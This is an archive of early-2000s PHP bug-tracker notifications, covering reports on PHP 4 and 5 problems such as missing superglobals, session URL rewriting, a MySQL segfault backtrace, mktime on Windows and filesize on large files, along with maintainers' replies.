ID: 22531 Updated by: [EMAIL PROTECTED] Reported By: daniel dot gorski at develnet dot org Status: Open Bug Type: Scripting Engine problem Operating System: Linux RH6.2 PHP Version: 5CVS-2003-03-04 (dev) New Comment: Unable to reproduce on WinXP (latest snap)... Running via CLI, i get full output from: php -r "print_r($_ENV);" as well as php -r "print_r($_SERVER);" ~ Andrew Heebner Previous Comments: [2003-03-04 02:00:02] daniel dot gorski at develnet dot org [EMAIL PROTECTED]:/src/php5/sapi/cli> ./php -v PHP 5.0.0-dev (cli) (built: Mar 4 2003 08:43:46) Copyright (c) 1997-2003 The PHP Group Zend Engine v2.0.0-dev, Copyright (c) 1998-2003 Zend Technologies [EMAIL PROTECTED]:/src/php5/sapi/cli> ./php -i | head -16 phpinfo() PHP Version => 5.0.0-dev System => Linux warpcore 2.2.20 #12 Mon Feb 10 17:14:10 CET 2003 i686 Build Date => Mar 4 2003 08:39:51 Configure Command => './configure' '--enable-force-cgi-redirect' '--with-mysql=/usr/local/mysql' '--with-config-file-path=../conf' '--with-zlib' Server API => Command Line Interface Virtual Directory Support => disabled Configuration File (php.ini) Path => ../conf PHP API => 20020918 PHP Extension => 20020429 Zend Extension => 90021012 Debug Build => no Thread Safety => disabled Registered PHP Streams => php, http, ftp, compress.zlib [EMAIL PROTECTED]:/src/php5/sapi/cli> ./php Notice: Undefined variable: _ENV in - on line 3 The same goes for $_SERVER (in CGI version). Latest HEAD on RH6.2 Linux. regards dtg -- Edit this bug report at http://bugs.php.net/?id=22531&edit=1
#22531 [Opn->Fbk]: Undefined variable: _ENV, vanished superglobals
ID: 22531 Updated by: [EMAIL PROTECTED] Reported By: daniel dot gorski at develnet dot org -Status: Open +Status: Feedback Bug Type: Scripting Engine problem Operating System: Linux RH6.2 PHP Version: 5CVS-2003-03-04 (dev) Previous Comments: [2003-03-04 07:22:56] [EMAIL PROTECTED] Unable to reproduce on WinXP (latest snap)... Running via CLI, i get full output from: php -r "print_r($_ENV);" as well as php -r "print_r($_SERVER);" ~ Andrew Heebner [2003-03-04 02:00:02] daniel dot gorski at develnet dot org [EMAIL PROTECTED]:/src/php5/sapi/cli> ./php -v PHP 5.0.0-dev (cli) (built: Mar 4 2003 08:43:46) Copyright (c) 1997-2003 The PHP Group Zend Engine v2.0.0-dev, Copyright (c) 1998-2003 Zend Technologies [EMAIL PROTECTED]:/src/php5/sapi/cli> ./php -i | head -16 phpinfo() PHP Version => 5.0.0-dev System => Linux warpcore 2.2.20 #12 Mon Feb 10 17:14:10 CET 2003 i686 Build Date => Mar 4 2003 08:39:51 Configure Command => './configure' '--enable-force-cgi-redirect' '--with-mysql=/usr/local/mysql' '--with-config-file-path=../conf' '--with-zlib' Server API => Command Line Interface Virtual Directory Support => disabled Configuration File (php.ini) Path => ../conf PHP API => 20020918 PHP Extension => 20020429 Zend Extension => 90021012 Debug Build => no Thread Safety => disabled Registered PHP Streams => php, http, ftp, compress.zlib [EMAIL PROTECTED]:/src/php5/sapi/cli> ./php Notice: Undefined variable: _ENV in - on line 3 The same goes for $_SERVER (in CGI version). Latest HEAD on RH6.2 Linux. regards dtg -- Edit this bug report at http://bugs.php.net/?id=22531&edit=1
#22560 [Opn->Bgs]: help
ID: 22560 Updated by: [EMAIL PROTECTED] Reported By: lporteous at mindspring dot com -Status: Open +Status: Bogus Bug Type: *General Issues Operating System: Windows PHP Version: 4CVS-2003-03-05 (stable) New Comment: Sorry, but your problem does not imply a bug in PHP itself. For a list of more appropriate places to ask for help using PHP, please visit http://www.php.net/support.php as this bug system is not the appropriate forum for asking support questions. Thank you for your interest in PHP. Sorry, but php.net does not send out it's email addresses to other organizations. This is not a developer issue, so, therefore, you must email the spammers at the appropriate email address and report it to them. ~ Andrew Heebner Previous Comments: [2003-03-05 16:36:51] lporteous at mindspring dot com I have tried unsuccessfully to remove myself from this website http://quickleads.bz/mort/rem/, which you evidently have some connection to. I haved tried to remove myself about 100 times! Do you know a way I can accomplish this. I have no idea where they got my email address in the first place. Thank you for any help you may have to offer. -- Edit this bug report at http://bugs.php.net/?id=22560&edit=1
#22577 [Opn->Bgs]: url rewrite messes up Javascript area tag
ID: 22577
Updated by: [EMAIL PROTECTED]
Reported By: mreuter at gmx dot de
-Status: Open
+Status: Bogus
Bug Type: Session related
Operating System: Linux
PHP Version: 4.2.3
New Comment:
Sorry, but your problem does not imply a bug in PHP itself. For a
list of more appropriate places to ask for help using PHP, please
visit http://www.php.net/support.php as this bug system is not the
appropriate forum for asking support questions.
Thank you for your interest in PHP.
Sorry, but this issue should be sent to the php.general newslist (if in
fact there is a PHP error, which i sincerely doubt).. Otherwise, this
is an HTML issue, and bears no dependencies with PHP.
~ Andrew Heebner
Previous Comments:
[2003-03-06 16:37:44] mreuter at gmx dot de
Hi,
after creating a new session with use_trans_sid enabled, php messes up
my javascript area tag.
Here is a shortend test file:
Testseite
<!--
document.writeln("<map name=\"Mmap\"><area shape=\"rect\"></map>");
//-->
next
The document.writeln is changed to:
document.writeln("");
with the "\"" instead of \" it produces errors.
Since I cannot update to a newer Php, a workaround would be very
helpful.
--
Edit this bug report at http://bugs.php.net/?id=22577&edit=1
#22577 [Opn->Fbk]: url rewrite messes up Javascript area tag
ID: 22577
Updated by: [EMAIL PROTECTED]
Reported By: mreuter at gmx dot de
-Status: Open
+Status: Feedback
Bug Type: Session related
Operating System: Linux
PHP Version: 4.2.3
New Comment:
Not enough information was provided for us to be able
to handle this bug. Please re-read the instructions at
http://bugs.php.net/how-to-report.php
If you can provide more information, feel free to add it
to this bug and change the status back to "Open".
Thank you for your interest in PHP.
I don't see how this is remotely caused by PHP, when your javascript
lines aren't even being parsed by PHP itself. The only PHP i see in
the file is the session_start(), and that's it.
Please send more info as to how this is being run, and also, an active
online example could help.
Marking this as (feedback) until more info is passed along.
~ Andrew Heebner
Previous Comments:
[2003-03-06 16:59:38] mreuter at gmx dot de
Hi again,
it is a bug with php!!
php tries to put " around the first word after the first = inside an
area tag, no matter if it is inside a Javascript command or not. This
leads as in my example to broken code. It only happens when using
session.
I just found a workaround. One can split the String passed to
document.writeln after the first = in area like this:
... area shape="+"\"rect\">...
and php will not put new " characters.
Still it is a bug.
[2003-03-06 16:43:02] [EMAIL PROTECTED]
Sorry, but your problem does not imply a bug in PHP itself. For a
list of more appropriate places to ask for help using PHP, please
visit http://www.php.net/support.php as this bug system is not the
appropriate forum for asking support questions.
Thank you for your interest in PHP.
Sorry, but this issue should be sent to the php.general newslist (if in
fact there is a PHP error, which i sincerely doubt).. Otherwise, this
is an HTML issue, and bears no dependencies with PHP.
~ Andrew Heebner
[2003-03-06 16:37:44] mreuter at gmx dot de
Hi,
after creating a new session with use_trans_sid enabled, php messes up
my javascript area tag.
Here is a shortend test file:
Testseite
<!--
document.writeln("<map name=\"Mmap\"><area shape=\"rect\"></map>");
//-->
next
The document.writeln is changed to:
document.writeln("");
with the "\"" instead of \" it produces errors.
Since I cannot update to a newer Php, a workaround would be very
helpful.
--
Edit this bug report at http://bugs.php.net/?id=22577&edit=1
#22617 [Opn->Bgs]: www.php.net language
ID: 22617 Updated by: [EMAIL PROTECTED] Reported By: jtjohnston at courrier dot usherb dot ca -Status: Open +Status: Bogus Bug Type:*Web Server problem PHP Version: 4.3.1 New Comment: This is a new feature of php.net, auto-accepting languages, as noticed on the http://www.php.net homepage. Marking as bogus. ~ Andrew Heebner Previous Comments: [2003-03-10 00:18:58] jtjohnston at courrier dot usherb dot ca It worked until this past week some time [2003-03-10 00:17:55] jtjohnston at courrier dot usherb dot ca I admit, [Fr] is the second accepted language. But English [En] is the first!? [2003-03-09 23:16:20] [EMAIL PROTECTED] check your browers accepted languages im assuming because your OS is in french PHP.net is pulling french you can change your language in Tools/Internet Options/Languages [2003-03-09 23:02:47] jtjohnston at courrier dot usherb dot ca Website or cookie problem?? When I search for something in the manual at www.php.net, my searches now respond in French. I use an English browser (although my OS (Win98) is French). I get this http://www.php.net/manual/fr/function.mysql-fetch-array.php instead of http://www.php.net/manual/en/function.mysql-fetch-array.php for example. -- Edit this bug report at http://bugs.php.net/?id=22617&edit=1
#21890 [Opn->Sus]: Segfault on mysql_fetch_object
ID: 21890
Updated by: [EMAIL PROTECTED]
Reported By: hans dot wolters at chello dot nl
-Status: Open
+Status: Suspended
Bug Type: MySQL related
Operating System: Linux kernel 2.4.20-pre5
PHP Version: 5CVS-2003-01-26 (dev)
New Comment:
Unable to reproduce on WinXP with PHP5 (latest snap), mysql (latest
build)... Suspending issue until more feedback is issued.
~ Andrew Heebner
Previous Comments:
[2003-01-27 18:05:05] hans dot wolters at chello dot nl
Hi Magnus,
Last remarks. I compiled a new installed mysql (4.0.x) and therefor I
was able to use --with-mysql=/path... in the php configure. It doesn't
barf anymore.
Think the error might be in the shipped mysql code php is using when a
user doesn't have any mysql headers installed (or a mysql development
package)
Regards,
Hans
[2003-01-26 16:14:27] hans dot wolters at chello dot nl
Magnus,
I think we are getting somewhere. Started gdb like you mailed, thnx for
the tip. Hope it helps.
Regards,
Hans
(gdb) bt full
#0 0x0011 in ?? ()
No symbol table info available.
#1 0x403b9a01 in zif_mysql_fetch_object (ht=2,
return_value=0x40663e7c,
this_ptr=0x0, return_value_used=1)
at
/home/software/php5/php5-200301240830/ext/mysql/php_mysql.c:1947
return_value = (zval *) 0x40477aa8
#2 0x4049fba1 in zend_do_fcall_common_helper (execute_data=0xbfffc340,
op_array=0x4065dd1c)
at /home/software/php5/php5-200301240830/Zend/zend_execute.c:2563
original_return_value = (zval **) 0x811f178
current_scope = (zend_class_entry *) 0x6d03
current_this = (zval *) 0x1fa
return_value_used = 1
#3 0x404a01d8 in zend_do_fcall_handler (execute_data=0xbfffc340,
op_array=0x4065dd1c)
at /home/software/php5/php5-200301240830/Zend/zend_execute.c:2689
fname = (zval *) 0x40667b18
#4 0x40490851 in execute (op_array=0x4065dd1c)
at /home/software/php5/php5-200301240830/Zend/zend_execute.c:1218
op_array = (zend_op_array *) 0x4065dd1c
execute_data = {opline = 0x40667af4, function_state = {
function_symbol_table = 0x40659940, function = 0x8112f30, reserved
= {
0xbfffc38c, 0x4047f95b, 0x4, 0x72653838}}, fbc = 0x0,
---Type to continue, or q to quit---
fbc_constructor = 0x4047f30e, op_array = 0x4065dd1c, object = 0x0,
Ts = 0xbfffc194, original_in_execution = 1 '\001', calling_scope =
0x0,
prev_execute_data = 0xbfffc910}
#5 0x4049fcb1 in zend_do_fcall_common_helper (execute_data=0xbfffc910,
op_array=0x814c6c8)
at /home/software/php5/php5-200301240830/Zend/zend_execute.c:2595
calling_symbol_table = (HashTable *) 0x4065c5fc
original_return_value = (zval **) 0xbfffca58
current_scope = (zend_class_entry *) 0x0
current_this = (zval *) 0x0
return_value_used = 1
#6 0x4049ffc1 in zend_do_fcall_by_name_handler
(execute_data=0xbfffc910,
op_array=0x814c6c8)
at /home/software/php5/php5-200301240830/Zend/zend_execute.c:2659
execute_data = (zend_execute_data *) 0xbfffc0b4
op_array = (zend_op_array *) 0x814acd8
#7 0x40490851 in execute (op_array=0x814c6c8)
at /home/software/php5/php5-200301240830/Zend/zend_execute.c:1218
op_array = (zend_op_array *) 0x814c6c8
execute_data = {opline = 0x40653924, function_state = {
function_symbol_table = 0x4065bf8c, function = 0x4065dd1c, reserved
= {
0x404ec340, 0x4046f6b5, 0x404ebf80, 0x2c}}, fbc = 0x4065dd1c,
fbc_constructor = 0x404785d2, op_array = 0x814c6c8, object =
0x4065c734,
---Type to continue, or q to quit---
Ts = 0xbfffc404, original_in_execution = 1 '\001',
calling_scope = 0x40659924, prev_execute_data = 0xbfffc9c0}
#8 0x4047862f in call_user_function_ex (function_table=0x404ec174,
object_pp=0x0, function_name=0x4065c014, retval_ptr_ptr=0xbfffca58,
param_count=1, params=0x4065c5e4, no_separation=1,
symbol_table=0x0)
at
/home/software/php5/php5-200301240830/Zend/zend_execute_API.c:646
i = 1
original_return_value = (zval **) 0xbfffcee8
calling_symbol_table = (HashTable *) 0x404ec410
original_function_state_ptr = (zend_function_state *)
0xbfffce14
original_op_array = (zend_op_array *) 0x4064daf4
original_opline_ptr = (zend_op **) 0xbfffce10
orig_free_op1 = (zval *) 0x0
orig_free_op2 = (zval *) 0x0
orig_unary_op = (int (*)()) 0
orig_binary_op = (int (*)()) 0
function_name_copy = {value = {lval = 1080411644,
dval = 1.3265769022458897e-313, str = {val = 0x4065c5fc "\b", len =
6},
ht = 0x4065c5fc, obj = {handle = 1080411644, handlers = 0x6}},
refcount = 1, type = 3 '\003', is_ref = 0 '\0'}
current_scope = (zend_class_entry *) 0x0
c
#21909 [Opn->Ver]: storing lambda functions into object properties
ID: 21909
Updated by: [EMAIL PROTECTED]
Reported By: ulf dot wendel at phpdoc dot de
-Status: Open
+Status: Verified
Bug Type: Zend Engine 2 problem
Operating System: Windows XP Professional
PHP Version: 5CVS-2003-01-27 (dev)
New Comment:
Verified on WinXP with latest snap.
~ Andrew Heebner
Previous Comments:
[2003-01-27 13:09:14] ulf dot wendel at phpdoc dot de
Try this, it simply let's my PHP crash:
class foo {
public $newfunc;
public function __construct() {
$this->newfunc = create_function('$a,$b','print "ln($a) + ln($b) =
".log($a * $b);');
call_user_func(array($this, $this->newfunc), 1, 2);
//$this->$newfunc(1, 2);
}
}
$f = new foo();
Ok, ok - this is really, well, weird code, however...
PHP:
PHP Version 5.0.0-dev
System Windows NT localhost 5.1 build 2600
Build Date Jan 26 2003 16:10:39
Server API CGI/FastCGI
Virtual Directory Support enabled
Configuration File (php.ini) Path E:\php\php.ini
PHP API 20020918
PHP Extension 20020429
Zend Extension 90021012
Debug Build no
Thread Safety enabled
Registered PHP Streams php, http, ftp, compress.zlib
Zend Engine v2.0.0-dev,
--
Edit this bug report at http://bugs.php.net/?id=21909&edit=1
#22662 [Opn]: shell_exec not working on windows XP
ID: 22662
Updated by: [EMAIL PROTECTED]
Reported By: pjaleysen at hotmail dot com
Status: Open
Bug Type: Output Control
Operating System: Windows XP
PHP Version: 4.2.3
New Comment:
How are you passing your params to shell_exec() ?
I know from personal experience, that shell_exec() requires me to load
command.com to the interpreter, such as:
print shell_exec('cmd version');
This *should* print out your windows version...
~ Andrew Heebner
Previous Comments:
[2003-03-12 11:33:24] pjaleysen at hotmail dot com
Hi,
shell_exec(),as well as exec(),system(), can only handle 'native' DOS
applications like ping,copy,attrib etc.
either directly as a command, or though a *.bat file.
Executing other (DOS) applications like pkzip (for DOS) or (rar for
dos) don't seem to work.
There is a thread of this issue at www.devshed.com
(http://forums.devshed.com/t55038/s.html)
I am using:
-Windows XP
-Apache 1.3.27
-PHP4.3
All with the default configurations.
Kind regards
Patrick
--
Edit this bug report at http://bugs.php.net/?id=22662&edit=1
#22662 [Opn]: shell_exec not working on windows XP
ID: 22662
Updated by: [EMAIL PROTECTED]
Reported By: pjaleysen at hotmail dot com
Status: Open
Bug Type: Output Control
Operating System: Windows XP
PHP Version: 4.2.3
New Comment:
Sorry, that should be shell_exec('cmd ver');
~ Andrew Heebner
Previous Comments:
[2003-03-12 11:45:52] [EMAIL PROTECTED]
How are you passing your params to shell_exec() ?
I know from personal experience, that shell_exec() requires me to load
command.com to the interpreter, such as:
print shell_exec('cmd version');
This *should* print out your windows version...
~ Andrew Heebner
[2003-03-12 11:33:24] pjaleysen at hotmail dot com
Hi,
shell_exec(),as well as exec(),system(), can only handle 'native' DOS
applications like ping,copy,attrib etc.
either directly as a command, or though a *.bat file.
Executing other (DOS) applications like pkzip (for DOS) or (rar for
dos) don't seem to work.
There is a thread of this issue at www.devshed.com
(http://forums.devshed.com/t55038/s.html)
I am using:
-Windows XP
-Apache 1.3.27
-PHP4.3
All with the default configurations.
Kind regards
Patrick
--
Edit this bug report at http://bugs.php.net/?id=22662&edit=1
#22660 [Opn->Fbk]: $_GLOBALS variable
ID: 22660 Updated by: [EMAIL PROTECTED] Reported By: pierre dot thierry at moine-fou dot org -Status: Open +Status: Feedback Bug Type: Feature/Change Request Operating System: Debian 3.0r1 GNU/Linux 2.4.19 PHP Version: 4.3.1 New Comment: I move to opt against this, as BC would be broken with scripts using $_GLOBALS against an older version of php. It'd be good for consistency, but sometimes we have to substitute consistency for compatibility. $GLOBALS is also kind of a variable of it's own. It contains all globals, as opposed to the individual superglobals containing their sets. $GLOBALS serves it's purpose just fine. ~ Andrew Heebner Previous Comments: [2003-03-12 10:15:53] pierre dot thierry at moine-fou dot org For consistency with other autoglobals, $GLOBALS shoudl also be accessible by $_GLOBALS. (or become $_GLOBALS, but this would break many scripts...) -- Edit this bug report at http://bugs.php.net/?id=22660&edit=1
#22635 [Opn->Bgs]: 1.1.1970 <> 24 hours in [gm]mktime
ID: 22635
Updated by: [EMAIL PROTECTED]
Reported By: jsteen at timecom dot com
-Status: Open
+Status: Bogus
Bug Type: Date/time related
Operating System: win32
PHP Version: 4.3.1
New Comment:
jsteen at timecom dot com:
If you're pissed that the time functions are so 'buggy' on Win32, then
why don't you step into the ring and help us debug it? Become part of
the community, but don't drive the community away because you didn't
get an answer you wanted.
Please reopen this bug as you feel necessary, but i'm marking it as a
bogus report due to the fact that it's an imcompatibility between Win32
and *nix systems, and also the fact that we can
I'd finally like to redirect you to
http://www.php.net/manual/en/function.mktime.php so you can read the
user comments. Apparently different windows systems handle the
timestamp differently. As said earlier, it's an incompatibility.
~ Andrew Heebner
~ Andrew Heebner
Previous Comments:
[2003-03-12 12:32:28] michael dot mauch at gmx dot de
Please read the fine manual. From
<http://www.php.net/manual/en/function.mktime.php>:
"on systems where time_t is a 32bit signed integer, as most common
today, the valid range for year is somewhere between 1902 and 2037".
If you are using values outside this range, you get undefined
behaviour.
[2003-03-12 03:34:12] jsteen at timecom dot com
WE F...ING KNOW mktime, gmmktime etc. WORK FINE ON *NIX!
THIS IS A WIN REPORT!
[flame: on]
is it a new policy on bugs.php.net to NOT read post
headers/declarations, write "works fine with linux" as answer, and put
the bug on 'BOGUS'?
i'm among the many users that are pissed that all the
timestamp-functions are buggy on win. ok. fine. deal. but then please
take our reports seriously and put a proper comment in the man! i
really begin to wonder whether you're not just too lazy to seriously
deal with it if i get this sorts of answers.
[flame: off]
so why does 1.1.1970 not have 24h?
please omit any of the usual answers, like:
- works fine for linux
- blame MS
[2003-03-11 11:15:13] [EMAIL PROTECTED]
Works fine with Linux.
[2003-03-11 07:53:26] jsteen at timecom dot com
1.1.1970 does not have 24 hours!
-
for ($i = 1 ; $i< 365; $i++){
$date = mktime(0,0,0,1,$i,1970);
$date1 = mktime(0,0,0,1,$i+1,1970);
echo " $i: " .gmdate("Y m d", $date) . " ";
echo ($date1 - $date ) /3600 ." h";
}
-
1: 23.000278 h
2: 1970 01 01 24 h
3: 1970 01 02 24 h
4: 1970 01 03 24 h
...
-
for ($i = 1 ; $i< 365; $i++){
$date = gmmktime(0,0,0,1,$i,1970);
$date1 = gmmktime(0,0,0,1,$i+1,1970);
echo " $i: " .gmdate("Y m d", $date) . " ";
echo ($date1 - $date ) /3600 ." h";
}
-
1: 24.000278 h
2: 1970 01 02 24 h
3: 1970 01 03 24 h
4: 1970 01 04 24 h
...
-
--
Edit this bug report at http://bugs.php.net/?id=22635&edit=1
#22760 [Opn->Fbk]: Echoing Problems
ID: 22760 Updated by: [EMAIL PROTECTED] Reported By: dud_boi at hotmail dot com -Status: Open +Status: Feedback Bug Type: Output Control Operating System: Windows Server 2003 RC2 PHP Version: 4.3.1 New Comment: Not enough information was provided for us to be able to handle this bug. Please re-read the instructions at http://bugs.php.net/how-to-report.php If you can provide more information, feel free to add it to this bug and change the status back to "Open". Thank you for your interest in PHP. Previous Comments: [2003-03-18 05:45:22] dud_boi at hotmail dot com Sometimes on my site, theres an echo problem, where nothing is being echoed. Im not sure if its just me, but your search functions seems to hvaing that problem too.. -- Edit this bug report at http://bugs.php.net/?id=22760&edit=1
#22760 [Opn]: Echoing Problems
ID: 22760 Updated by: [EMAIL PROTECTED] Reported By: dud_boi at hotmail dot com Status: Open Bug Type: Output Control Operating System: Windows Server 2003 RC2 PHP Version: 4.3.1 New Comment: Are you getting an 'undefined variable' error from your code? $var must be initialized before you can concatenate to it... "; echo $var; ?> Also, if there is no referer to the page (easily spoofed) or if the page is loaded directly, it'll return an empty string. Try that and repost to the report... ~ Andrew Heebner Previous Comments: [2003-03-18 06:08:55] dud_boi at hotmail dot com oops..i realised why.. anyway, your search page still seems to have problems [2003-03-18 06:07:15] dud_boi at hotmail dot com Terribly sorry, i realised that sometimes my code just doenst appear. I have "; echo $var; ?> which i inserted into a file. it doesnt parse the code at all. when i view source, it acutally appears as is. My other php codes are working fine. p.s. when i search for things on the php.net site, if there are results, they just dont appear [2003-03-18 05:50:28] [EMAIL PROTECTED] Not enough information was provided for us to be able to handle this bug. Please re-read the instructions at http://bugs.php.net/how-to-report.php If you can provide more information, feel free to add it to this bug and change the status back to "Open". Thank you for your interest in PHP. [2003-03-18 05:45:22] dud_boi at hotmail dot com Sometimes on my site, theres an echo problem, where nothing is being echoed. Im not sure if its just me, but your search functions seems to hvaing that problem too.. -- Edit this bug report at http://bugs.php.net/?id=22760&edit=1
#25176 [Opn->Ver]: CLI Crashes with entry point not found in php4ts.dll
ID: 25176 Updated by: [EMAIL PROTECTED] Reported By: [EMAIL PROTECTED] -Status: Open +Status: Verified Bug Type: Reproducible crash Operating System: WinXP Pro SP1 PHP Version: 5CVS-2003-08-20 (dev) New Comment: I too also experienced this error in the php/php-cli dists. I also must note that the internal socket support throws a starnge error in the newer snaps as well. ~ Andrew Previous Comments: [2003-08-20 16:21:08] [EMAIL PROTECTED] Uhm... php4ts.dll is what is in the win32 PHP5 zip file, with a version of 5.0.0 - Davey [2003-08-20 07:59:04] [EMAIL PROTECTED] You mixed up .dlls from sever releases. Not a bug. [2003-08-20 07:48:17] [EMAIL PROTECTED] Description: Running the CLI (with or without flags or input) always brings up the error: The procedure entry point _zend_hash_init could not be located in the dynamic link library php4ts.dll. - Davey Reproduce code: --- C:\web\test>c:\php5\cli\php.exe -v [enter] [error] C:\web\test> Expected result: C:\web\test>c:\php5\cli\php.exe -v [enter] PHP 5.0.0b2-dev (cli) (built: Aug 20 2003 12:10:03) Copyright (c) 1997-2003 The PHP Group Zend Engine v2.0.0-dev, Copyright (c) 1998-2003 Zend Technologies C:\web\test> Actual result: -- Error message pops up with error "The procedure entry point _zend_hash_init could not be located in the dynamic link library php4ts.dll." -- Edit this bug report at http://bugs.php.net/?id=25176&edit=1
#24608 [Ver]: __set not triggered when overloading with array
ID: 24608
Updated by: [EMAIL PROTECTED]
Reported By: jaanus at heeringson dot com
Status: Verified
Bug Type: Zend Engine 2 problem
Operating System: Linux 2.4 jkernel source distro
PHP Version: 5.0.0b2-dev
New Comment:
Have you tried adding a __get() function into the class, and seeing if
this returns the same output?
Previous Comments:
[2003-07-11 12:48:38] jaanus at heeringson dot com
Description:
When overloading a class with a property containing an array by
assigning an element to to the new array the __set handle does not
fire, but the element gets created.
Reproduce code:
---
\nData: {$data}\n"); //prints out input
when fired
}
}
$test=new myclass();
$test->style['temp']='content'; //creates a new property
print_r($test->style); //check if property is created
?>
Expected result:
Results from the echo in __set
Actual result:
--
The result of the print_r shows that the property is created, but id
did not pass the __set
--
Edit this bug report at http://bugs.php.net/?id=24608&edit=1
#26010 [Ver]: Bug on get_object_vars() function
ID: 26010
Updated by: [EMAIL PROTECTED]
Reported By: rodrigo at intelligencegroup dot com dot br
Status: Verified
Bug Type: Zend Engine 2 problem
Operating System: Linux (redhat 9)
PHP Version: 5CVS-2003-10-28 (dev)
New Comment:
Correct me if i'm wrong, but isn't the purpose of the PPP elements to
prevent this behavior? As i see it, this is the clearly an intended
response of attempting to access the variables externally. Like i
said, i may be wrong...
~ Andrew Heebner
Previous Comments:
[2003-11-01 17:29:32] schlueter at phpbar dot de
This bug also appears when var_dump'ing an object - without using
get_object_vars() with Beta2.
(With print_r() I get the property names where private and public ones
are marked - that's even nicer than just the name.)
Reproduce code:
---
string(6) "foobar1"
["bar2"]=>
string(6) "foobar2"
["bar3"]=>
string(6) "foobar3"
}
Actual result:
--
object(foo)#2 (3) {
[""]=>
string(6) "foobar1"
[""]=>
string(6) "foobar2"
["bar3"]=>
string(6) "foobar3"
}
[2003-10-29 13:34:24] [EMAIL PROTECTED]
Verified. Refraining from adding a test case till beta2 roll-up.
[2003-10-27 15:27:11] rodrigo at intelligencegroup dot com dot br
Description:
The function get_object_vars() is getting back an array where public
variables is ok, but private variables is being defined with no key.
Reproduce code:
---
a = "value of a";
$this->b = "value of b";
}
}
$data = new A();
$objVars = get_object_vars($data);
var_dump($objVars);
?>
Expected result:
array(2) { ["a"]=> string(10) "value of a" ["b"]=> string(10) "value
of b" }
Actual result:
--
array(2) { [""]=> string(10) "value of a" ["b"]=> string(10) "value
of b" }
--
Edit this bug report at http://bugs.php.net/?id=26010&edit=1
#20446 [NEW]: negative filesize() returned on large files > 2Gb
From: [EMAIL PROTECTED]
Operating system: NT4 - SP 6
PHP version: 4.2.3
PHP Bug Type: *Directory/Filesystem functions
Bug description: negative filesize() returned on large files > 2Gb
the following works fine on small files (<2Gb) but returns negative numbers
for files larger.
while ( $file = readdir($dp) ){
clearstatcache();
if (! ereg("^[.]+$|^$",$file) ){
$stats = stat("$DIRNAME$file");
echo "$DIRNAME$file\t" . $stats[7] . "\t" filesize("$DIRNAME$file") .
"\n";
}
}
--
Edit bug report at http://bugs.php.net/?id=20446&edit=1
--
Try a CVS snapshot: http://bugs.php.net/fix.php?id=20446&r=trysnapshot
Fixed in CVS: http://bugs.php.net/fix.php?id=20446&r=fixedcvs
Fixed in release: http://bugs.php.net/fix.php?id=20446&r=alreadyfixed
Need backtrace: http://bugs.php.net/fix.php?id=20446&r=needtrace
Try newer version: http://bugs.php.net/fix.php?id=20446&r=oldversion
Not developer issue:http://bugs.php.net/fix.php?id=20446&r=support
Expected behavior: http://bugs.php.net/fix.php?id=20446&r=notwrong
Not enough info:http://bugs.php.net/fix.php?id=20446&r=notenoughinfo
Submitted twice:http://bugs.php.net/fix.php?id=20446&r=submittedtwice
register_globals: http://bugs.php.net/fix.php?id=20446&r=globals
PHP 3 support discontinued: http://bugs.php.net/fix.php?id=20446&r=php3
Daylight Savings: http://bugs.php.net/fix.php?id=20446&r=dst
IIS Stability: http://bugs.php.net/fix.php?id=20446&r=isapi
#20446 [Bgs]: negative filesize() returned on large files > 2Gb
ID: 20446
User updated by: [EMAIL PROTECTED]
Reported By: [EMAIL PROTECTED]
Status: Bogus
Bug Type: *Directory/Filesystem functions
Operating System: NT4 - SP 6
PHP Version: 4.2.3
New Comment:
disk_total_space() appears to cope very well with large volumes
(100Gb+). Are there any work arounds for filesize() ?
Previous Comments:
[2002-11-15 09:26:17] [EMAIL PROTECTED]
This is not really a bug, PHP simply doesn't support unsigned integers,
and a signed integer on Windows/i386 only goes to 2^31 - 1 (about
2GB).
Ddderick
[2002-11-15 09:23:22] [EMAIL PROTECTED]
the following works fine on small files (<2Gb) but returns negative
numbers for files larger.
while ( $file = readdir($dp) ){
clearstatcache();
if (! ereg("^[.]+$|^$",$file) ){
$stats = stat("$DIRNAME$file");
echo "$DIRNAME$file\t" . $stats[7] . "\t" filesize("$DIRNAME$file") .
"\n";
}
}
--
Edit this bug report at http://bugs.php.net/?id=20446&edit=1
#20446 [Bgs]: negative filesize() returned on large files > 2Gb
ID: 20446
User updated by: [EMAIL PROTECTED]
Reported By: [EMAIL PROTECTED]
Status: Bogus
Bug Type: *Directory/Filesystem functions
Operating System: NT4 - SP 6
PHP Version: 4.2.3
New Comment:
Although the number is no longer negative the size is unfortunately
inaccurate by quite a bit. It's a shame as php was in the running as
our cli for scripting on NT. I doubt it will pass acceptance testing
now.
Thanks for all your help it was appreciated.
Regards
Andy
Previous Comments:
[2002-11-15 09:33:41] [EMAIL PROTECTED]
You could try doing:
printf("%u", filesize("your_file"));
[2002-11-15 09:30:28] [EMAIL PROTECTED]
disk_total_space() appears to cope very well with large volumes
(100Gb+). Are there any work arounds for filesize() ?
[2002-11-15 09:26:17] [EMAIL PROTECTED]
This is not really a bug, PHP simply doesn't support unsigned integers,
and a signed integer on Windows/i386 only goes to 2^31 - 1 (about
2GB).
Ddderick
[2002-11-15 09:23:22] [EMAIL PROTECTED]
the following works fine on small files (<2Gb) but returns negative
numbers for files larger.
while ( $file = readdir($dp) ){
clearstatcache();
if (! ereg("^[.]+$|^$",$file) ){
$stats = stat("$DIRNAME$file");
echo "$DIRNAME$file\t" . $stats[7] . "\t" filesize("$DIRNAME$file") .
"\n";
}
}
--
Edit this bug report at http://bugs.php.net/?id=20446&edit=1
Bug #17128: lstat (mis)behaves exactly like stat
From: [EMAIL PROTECTED] Operating system: Debian GNU/Linux 2.2 PHP version: 4.2.0 PHP Bug Type: Filesystem function related Bug description: lstat (mis)behaves exactly like stat lstat tracks through symbolic link and returns the permission mode of the actual file, rather than the link itself. fileperms also seems to be affected. -- Edit bug report at http://bugs.php.net/?id=17128&edit=1 -- Fixed in CVS:http://bugs.php.net/fix.php?id=17128&r=fixedcvs Fixed in release:http://bugs.php.net/fix.php?id=17128&r=alreadyfixed Need backtrace: http://bugs.php.net/fix.php?id=17128&r=needtrace Try newer version: http://bugs.php.net/fix.php?id=17128&r=oldversion Not developer issue: http://bugs.php.net/fix.php?id=17128&r=support Expected behavior: http://bugs.php.net/fix.php?id=17128&r=notwrong Not enough info: http://bugs.php.net/fix.php?id=17128&r=notenoughinfo Submitted twice: http://bugs.php.net/fix.php?id=17128&r=submittedtwice register_globals:http://bugs.php.net/fix.php?id=17128&r=globals
Bug #17128 Updated: lstat (mis)behaves exactly like stat
